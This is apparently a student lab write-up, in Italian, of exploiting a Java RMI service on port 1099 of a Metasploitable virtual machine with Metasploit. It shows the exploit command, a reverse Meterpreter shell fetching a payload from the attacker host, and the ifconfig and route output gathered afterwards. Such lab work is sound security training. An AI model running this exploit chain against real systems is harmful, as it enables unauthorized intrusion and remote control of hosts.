

Progetto SC0803

```
File Actions Edit View Help
msf6 exploit(multi/misc/java_rmi_server) > set rhost 192.168.11.112
rhost => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/Qw8FuUPs5GI
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:54626) at 2024-03-10 08:10:58 -0400

meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fec7:523e
IPv6 Netmask : ::

meterpreter >
```

```
meterpreter > route

IPv4 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::
fe80::a00:27ff:fec7:523e ::           ::

meterpreter >
```

Attraverso una sessione meterpreter, sfruttando un servizio vulnerabile sulla porta 1099 su metasploitable sono riuscito a ottenere la configurazione di rete e le informazioni sulla tabella di routing.